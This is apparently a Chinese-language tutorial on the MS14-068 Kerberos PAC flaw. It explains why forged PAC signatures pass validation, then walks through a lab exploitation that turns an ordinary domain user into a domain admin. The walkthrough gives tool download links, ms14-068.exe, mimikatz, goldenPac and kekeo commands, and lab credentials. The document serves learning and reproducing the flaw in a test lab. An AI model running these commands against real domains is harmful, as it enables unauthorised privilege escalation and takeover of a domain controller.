MS14-068漏洞原理及利用
MS14-068漏洞 可用于将普通域用户提权,升为域管理员用户。
该漏洞针对Kerberos 认证中PAC的缺险安全问题。漏洞危害很大并且利用简单,只要存在相当于就拿到域管理员的权限。
但是由于是14年的漏洞,这么多年了。。实战中碰到的可能性就非常小了,多数产生在WINServer 2008和WINServer 2003的域环境中 这里复现一下 简单记录这个经典漏洞
<1> 漏洞原理
在前面Kerberos 认证学习过程中,提到了 PAC的概念,特权属性证书。这个东西是什么呢?
PAC的诞生:
在Kerberos最初的设计的流程里只说了如何证明客户端的真实身份, 并没有说明客户端是否有权限访问该服务,因为在域中不同的权限的用户 能够访问的资源是不同的,因此微软为了解决这个权限问题引入了PAC (特权属性证书)
PAC组成部分
PAC由两部分组成:用户信息和数字签名
用户信息:Client的User的SID、Group的SID等,根据用户信息去判断权限
数字签名:这两个签名的作用是确保PAC不被篡改
- PAC_SERVER_CHECKSUM:使用服务密钥进行签名
- PAC_PRIVSVR_CHECKSUM:使用KDC密钥进行签名

PAC工作原理
引入PAC以后,在AS REP阶段返回的TGT中会包含PAC

TGS_REQ阶段中client将带有PAC的TGT发送给KDC,KDC除了验证TGT的合法性以外,还会验证PAC的合法性,如果两者都验证通过,再重新构造新的PAC放在ST里返回给客户端 。
然后 client带着ST去请求服务,服务会先解密TGS验证合法性,校验PAC中的2个签名,确认PAC的合法性,然后会根据ST里的PAC中的user id和group id来确认Client的访问权限
但是!! 在TGS-REP阶段中,KDC并不会验证客户端是否有权限访问服务端,因此不管用户有没有访问服务的权限,只要TGT正确,均会返回ST
漏洞成因
Client在发起认证请求时,通过设置include-PAC为False,则返回TGT中不会包含PAC

PAC中的数字签名加密算法可以由Client端指定,并且Key的值可以为空;(KDC对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可)
虽然我们没有办法修改返回的TGT,因此我们只能把PAC放到数据包中其它地方,但是 PAC没有被放在TGT中,放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息。PAC必须是密文,经过Key加密的KDC会从Authenticator中取出来subkey,把PAC信息解密并利用客户端设定的签名算法验证签名
将我们生成的PAC放到数据包中发送给KDC,KDC在验证PAC通过以后,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是ST
因此我们可以自己伪造一份高权限的PAC 流程为:
将AS_REQ阶段数据包中的include-PAC修改为 False

指定PAC的加密算法和密钥并将pac中的权限改为管理员权限,生成PAC
将PAC添加到TGS_REQ 数据包中发送KDC验证

KDC将PAC验证通过后,重新使用进行签名以后,生成一个带有伪造的PAC的正常的TGT并返回给客户端
到此,我们拿到了正常的高权限TGT,将其导入内存中,我们就可以使用这个TGT去申请服务票据

可以看到有两个 TGS-REP、TGS-REQ
<2> 漏洞利用
(1) 漏洞利用条件
漏洞利用条件:
- 拿下一台加入域的机器并且具有管理员权限
- 域控没有打MS14-068的补丁 (KB3011780)
- 有这台域内计算机的域用户密码和sid
(2) 利用工具
exp下载地址:
ms14-068.exe:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
impacket:https://github.com/maaaaz/impacket-examples-windows
kekeo.exe:https://github.com/gentilkiwi/kekeo/releases
(3) ms14-068.exe
假设已经拿下普通域用户 1vxyz
whoami /user得到了SID

利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
1 | # 用法:MS14-068.exe -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword> |

生成了一个 .ccacheTGT票据,使用mimikatz 导入 TGT,获取域管理员权限票据
1 | kerberos::ptc TGT_1vxyz@god.org.ccache |

导入票据成功, 访问域控 或者利用 PSExec 获取一个交互式shell。
1 | dir \\OWA\C$ |
成功访问了域控的C目录

psexec 获取域控交互式shell

不做进程迁移的话,域控这边可以看到该进程

下面这个是WINserver 2012的情况,测试时不成功 比较鸡肋,,,

(3) goldenPac.exe
impacket工具包里的工具,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷。
并且该方式获取的shell是system权限的
1 | goldenPac.exe god.org/1vxyz:Admin@123@OWA.god.org |

(4) kekeo.exe
1 | kekeo.exe "xploit::ms14068 /domain:god.org /user:1vxyz /password:Admin@123 /ptt""exit" |

申请到票据并注入内存,然后psexec 拿shell即可
MS14-068漏洞原理及利用

